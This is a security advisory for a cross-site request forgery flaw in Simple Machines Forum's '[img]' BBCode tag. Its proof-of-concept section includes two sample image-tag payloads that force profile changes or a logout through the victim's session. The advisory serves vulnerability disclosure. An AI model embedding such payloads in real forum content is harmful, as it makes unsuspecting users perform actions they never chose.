Simple Machines Forum '[img]' BBCode Tag Cross Site Request Forgery Vulnerability

BID:49311

Info

Simple Machines Forum '[img]' BBCode Tag Cross Site Request Forgery Vulnerability

Bugtraq ID: 49311
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Aug 25 2011 12:00AM
Updated: Aug 25 2011 12:00AM
Credit: Christian Yerena
Vulnerable: Simple Machines Simple Machines Forum 2.0
Simple Machines Simple Machines Forum 1.1.14
Not Vulnerable:

Discussion

Simple Machines Forum '[img]' BBCode Tag Cross Site Request Forgery Vulnerability

Simple Machines Forum is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

Simple Machines Forum 2.0 and 1.1.14 are vulnerable; other versions may be affected.

Exploit / POC

Simple Machines Forum '[img]' BBCode Tag Cross Site Request Forgery Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim into following a malicious URI.

The following sample input is available:

[img]http://www.example.com/index.php?sa=editBuddies;remove=102;action%00=profile[/img]

[img]http://www.example.com/community/index.php?action%00=logout;token[/img]

Solution / Fix

Simple Machines Forum '[img]' BBCode Tag Cross Site Request Forgery Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Simple Machines Forum '[img]' BBCode Tag Cross Site Request Forgery Vulnerability

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